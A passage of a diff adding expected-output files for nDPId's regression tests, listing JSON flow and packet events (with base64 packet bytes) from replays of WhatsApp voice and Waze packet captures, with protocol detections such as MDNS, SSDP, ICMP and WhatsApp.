Anno1DJVl5HrLE8FWONnFnFbxfK20pDO2u5pSWXj0w7Q8\/Y5l\/S9k4J38XhO1q2AhQr7j\/X5vrMKfBAwtboIun1nKS7gyuKRtehO+i1O8wMkMGGgB6Y8d7AnUBwlWJIZFNt5Fy15EVwGqKJWiFyKJzRdWGrlDY3On94QNOK8LCv9SspMFJ93NNqo83NQLmcloqYRvSFC2VPN5wHANUWFWzw2J22X72cChpn0FLGIDgQKrBT9A\/QwYLOjthLkuaGkzD2sZv59Cc561Cujy3IuMUE0Xobpbackp3oTAlBreTP\/wtTVHHRnOyAL0cQhGSbVwZsyan0YDRGIh0x0aV5ID+50B7dXI7bEuIPS8U\/+4sKopq1eiJN7fiyksDJnhooQ\/NjPsp5W0Hvgra6kfG06vBLk+tTZ2Rh4CtdByOVMq42Ls6X0sCCurKbypa5Aa9jEvLZt1s5ypZxQjGr5Rx4\/1OzY3cR67p2XSqS4gqHmlAL+7OXTnaUKlw\/sAgLH5Sq0kiBAQfvhMy4aFvwJvySLoDTA4nuKxY+wMPskF1L7WKPqrgCxC0ZSUW5um0Fkx2EWo\/k6RjGniIK+M5CeU5zK64G7C3hiDLNF\/UwED9bpkC6bh5f0hqkDaUaHdT2YTpnM6ZV7\/T33spRaWzh2J9W\/ek6OapnomqhbF7vQpZTMcXg6XzlRn55Frmz6WORkB4cAFltuxnfl4fYD0Y5g7icdX1sfyYKduC2uMGK8liE3YmK1N79MHmeOUI5PZM\/i2hpdxRWajB0O1SqkMA+pfyPtjcOjP6t+KKL3KNQ+vt+s8rb1NOTjntrf6WP5ghCOmzNIkDbxQSExf4TBj8vmB4QTPtO77lVCG00n3vZF69KzY224XBiOoR63JBMrT9aip21KjtgwGTfTg5BKs4Y33HaYB\/n4aRVCGzpHrg3vI6FoKzxLRVayYubprTtdEUKXerbGSiO6MbL2rq5KGBlAoKajaQ+dFFj1LVvnbSdN1FFjffYqPWHIGSkGrO3GzHoqtPM4Pc9Ah0kvaSUxrsCqBBCzGRqwQcM0OWyTZi80BwhZFRtUW4+y5dGyohpGRX7VQHNPPSnkSo4VTz4+tYPyVJlPrtiw+uU7oNhUPDmv7mQYUPSpgKxHU+YOv3NQA11cdx+\/8B9qa0LGytKgAi41MPspO8KB14vRiAGRhueyiyDr5Jjz6KDzrgJ0dc0j1GEHXvJFMS25zsE2Ex8TomZIvPKO8TniBIQr2AGqz0zg5uShotBmi9NPo6yVUj46MMTv5I4Qo7yAIzrejMxdI"} +00846{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":127497,"pkt_caplen":375,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":375,"pkt_l4_len":341,"pkt":"xiwDYGpkkLkxKPrKCABFAgFpAABAAEAGKJPAqAIMEfI8VMDKFGdIDznj7pIemoAYCADC6gAAAQEICjTOr3M8s2F1LtuTFFRuy6UmPUTnYb6Z+4eocDqoc100Vk+dYrQdzMfNOES\/PePBfI+rjFLXpcVbmv5mSQfKBvJeMB00euQQBsV4zWD2h6ri7JqOmrMc5ayyI0dK8NKkgbnAK2f1ms\/aWp0PLIAs8nG3TNRnzsgjy1efUsKzeJ8nHp0lHyuB47SYohv17D2m1amCcbtTbdyfoeuGPC2g8c3JpYsy4einoCytN3HmjPec7a0N0QEXSHheuyv5G81mV9qBpoHn9KKtA+1oAhlmb\/XLq1zCvvWN5bo7ehksciBhKnYTS0FmqktWM8H8cJEmReMeipbB5\/ALCegEZKXLvNHn2YIa1mTquIdoo6dgcjykP94BYXlmWs1DET3qa\/D8A95IcyAPmmfRpR+1wdmd0mHa3DOgDNCvn7aJ0JEq"} +00426{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":153260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA0Tx0AADEGKa0R8jxUwKgCDBRnwMrukh6aSA87GIAQAcbQ5gAAAQEICjy0DJo0zq9z"} +00500{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":609,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":153261,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"kLkxKPrKxiwDYGpkCABFAgBpTx4AADEGKXUR8jxUwKgCDBRnwMrukh6aSA87GIAYAcbrWgAAAQEICjy0DJo0zq9zFwMDADD4ff1mXscPTx1YejunYGhlS20dda00CA9MfWbWHu3g7j8U0QmgRZfiKOTJ17k7erI="} +00501{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":610,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":153292,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"kLkxKPrKxiwDYGpkCABFAgBpTx8AADEGKXQR8jxUwKgCDBRnwMrukh7PSA87GIAYAcbTlAAAAQEICjy0DJs0zq9zFwMDADDjmg78g99zYn69X8Z1BC6AiXrK9WENvtzfMzVTHOpG\/Tuh9Fa0DihleGNYJa759xk="} +00428{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":155479,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGKcrAqAIMEfI8VMDKFGdIDzsY7pIez4AQB\/\/KXAAAAQEICjTOr488tAya"} +00457{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":290531,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIaUoAAEAR\/yrAqAIMATxOQNwI+xoANFOWAAEAGCESpEJEp04wqayhNgpwqhcACAAUjz2kl+dJJZ\/5pJmfYUQPx33hp98="} +00581{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":632,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":893179,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"AQBeAAD7kLkxKPrKCABFAACmf9YAAP8Rl8DAqAIM4AAA+xTpFOkAklETAAAAAAAFAAEAAAAACF9ob21la2l0BF90Y3AFbG9jYWwAAAwAAQ9fY29tcGFuaW9uLWxpbmvAFQAMAAEMX3NsZWVwLXByb3h5BF91ZHDAGgAMAAEFX3Jhb3DAFQAMAAEIX2FpcnBsYXnAFQAMAAHAJQAMAAEAAA2VABANTHVjYeKAmXMgaU1hY8Al"} +00608{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":632,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":5,"flow_first_seen":1561455705874,"flow_last_seen":1561455737893,"flow_tot_l4_data_len":374,"flow_min_l4_data_len":57,"flow_max_l4_data_len":146,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_homekit._tcp.local"}} +00613{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":633,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":895397,"pkt_caplen":200,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":200,"pkt_l4_len":146,"pkt":"MzMAAAD7kLkxKPrKht1gDagnAJIR\/\/6AAAAAAAAABBRAnYr9nwX\/AgAAAAAAAAAAAAAAAAD7FOkU6QCSh5AAAAAAAAUAAQAAAAAIX2hvbWVraXQEX3RjcAVsb2NhbAAADAABD19jb21wYW5pb24tbGlua8AVAAwAAQxfc2xlZXAtcHJveHkEX3VkcMAaAAwAAQVfcmFvcMAVAAwAAQhfYWlycGxhecAVAAwAAcAlAAwAAQAADZUAEA1MdWNh4oCZcyBpTWFjwCU="} +00617{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":633,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":5,"flow_first_seen":1561455705874,"flow_last_seen":1561455737895,"flow_tot_l4_data_len":374,"flow_min_l4_data_len":57,"flow_max_l4_data_len":146,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::414:409d:8afd:9f05","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_homekit._tcp.local"}} +00455{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":634,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455737,"pkt_ts_usec":912653,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI3cwAAEARiqjAqAIMATxOQNwI+xoANNKMAAEAGCESpELCmPpdxscpAaqNI2UACAAUdLiw0j82TxziQLO4s52BG1yXKEE="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":640,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1561455738163,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"169.254.162.244","src_port":49352,"dst_port":49159,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00410{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":640,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455738,"pkt_ts_usec":163757,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2DBiVgAckLkxKPrKCABFAAAok2wAAP8GGLzAqAIMqf6i9MDIwAcC6LXACBPPY1AQCAWHOAAA"} +00427{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":641,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455738,"pkt_ts_usec":163886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA0AAAAAP8GrByp\/qL0wKgCDMAHwMgIE89jAui1wYAQEABYwQAAAQEIChqjwVI0zNyh"} +00455{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":647,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455738,"pkt_ts_usec":534250,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABI0+QAAEARlJDAqAIMATxOQNwI+xoANEP+AAEAGCESpEIyor5B+F8OHsEYQ28ACAAUnFfgVJ84tg8AhKdl6pcQPBXzhho="} +00812{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":650,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455738,"pkt_ts_usec":622273,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFInqgAAP8RG\/0AAAAA\/\/\/\/\/wBEAEMBNNtyAQEGAH5K8tcAEQAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwoBeQMGD3f8XywuOQIF3D0HAdgwYlYAHDMEAHanAAwKTHVjYXMtaU1hY\/8AAAAAAAAAAAAAAAAA"} +00455{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":659,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455739,"pkt_ts_usec":162331,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIH9UAAEARSKDAqAIMATxOQNwI+xoANCCwAAEAGCESpEKDU2JYW2X8MlXip1MACAAUhfdZJarQqPZ0hMJ+06XS9r9uJYs="} +00455{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":671,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455739,"pkt_ts_usec":787480,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIbLwAAEAR+7jAqAIMATxOQNwI+xoANMiuAAEAGCESpELFaDR+m2DiENqDngYACAAUPLv5bbfxr8lUDEwRVCRiMP9WpGg="} +00455{"flow_id":26,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":682,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455740,"pkt_ts_usec":403436,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"xiwDYGpkkLkxKPrKCABFAABIuMAAAEARr7TAqAIMATxOQNwI+xoANOHZAAEAGCESpELrkgBVSgpbJD6eyiIACAAUBLgc9CTve28kKfB7BxbIdEel5xY="} +00566{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":709,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":419546,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaBM4AAEARIWHAqAIMuTzYM9wIDZYAhuzcCAAAaiESpEKmZ0918K0sABMVs09AAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":16,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":419902,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACayvEAAEARjYzAqAIMnfDBMNwIDZYAhh8rCAAAaiESpEKmZ0918K0sABMVs1BAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":17,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":711,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":420295,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACar8UAAEARlGzAqAIMszzAMNwIDZYAhgreCAAAaiESpEKmZ0918K0sABMVs1FAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00566{"flow_id":18,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":712,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":420615,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa9WkAAEARYAbAqAIMnfDEPtwIDZYAhhwbCAAAaiESpEKmZ0918K0sABMVs1JAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":713,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1561455741430,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":50191,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00587{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":713,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":430274,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6kLkxKPrKCABFAAClZnoAAAIRnx\/AqAIM7\/\/\/+sQPB2wAke7DTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":713,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1561455741430,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":50191,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":714,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1561455741432,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":57546,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00586{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":432427,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6kLkxKPrKCABFAAClgs4AAAIRgsvAqAIM7\/\/\/+uDKB2wAkdIITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":714,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1561455741432,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"239.255.255.250","src_port":57546,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00444{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":716,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1561455741484,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"91.252.56.51","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455741,"pkt_ts_usec":484694,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkkLkxKPrKCABFAAA4hv4AAEABnOPAqAIMW\/w4MwMDoFgAAAAARQAA73IeAAAxEb\/8W\/w4M8CoAgx\/wNwIANsAAA=="} +00476{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":716,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1561455741484,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"91.252.56.51","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00528{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":718,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":255,"flow_first_seen":1561455688704,"flow_last_seen":1561455741680,"flow_tot_l4_data_len":29222,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":114,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.20.53","src_port":49355,"dst_port":5222,"l4_proto":"tcp","ndpi": {"proto":"WhatsApp","breed":"Acceptable","category":"Chat"}} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":718,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":255,"flow_first_seen":1561455688704,"flow_last_seen":1561455741680,"flow_tot_l4_data_len":29222,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":114,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.20.53","src_port":49355,"dst_port":5222,"l4_proto":"tcp","ndpi": {"proto":"WhatsApp","breed":"Acceptable","category":"Chat"}} +00437{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455742,"pkt_ts_usec":405584,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkkLkxKPrKCABFAAA4TCgAAEAB17nAqAIMW\/w4MwMDoOEAAAAARQAAZumbAAAxEUkIW\/w4M8CoAgx\/wNwIAFIAAA=="} +00437{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455742,"pkt_ts_usec":405951,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkkLkxKPrKCABFAAA4HrIAAEABBTDAqAIMW\/w4MwMDoOEAAAAARQAAZp1RAAAxEZVSW\/w4M8CoAgx\/wNwIAFIAAA=="} +00437{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455742,"pkt_ts_usec":405963,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkkLkxKPrKCABFAAA4twoAAEABbNfAqAIMW\/w4MwMDoOEAAAAARQAAZq9YAAAxEYNLW\/w4M8CoAgx\/wNwIAFIAAA=="} diff --git a/test/results/waze.pcap.out b/test/results/waze.pcap.out new file mode 100644 index 000000000..897a0d4ba --- /dev/null +++ b/test/results/waze.pcap.out @@ -0,0 +1,448 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"waze.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1435587866603,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":1,"l3_proto":"ip4","src_ip":"10.16.37.157","dst_ip":"174.37.231.81","src_port":42256,"dst_port":5222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587866,"pkt_ts_usec":603221,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNMsFAAEAGQsYKECWdriXnUaUQFGaA18okWhY9doAYAVcoQwAAAQEICgAIazhBJdw4gAAWBXL2KZLscQ7\/r4Q3YR6R6YsREWIs0w=="} 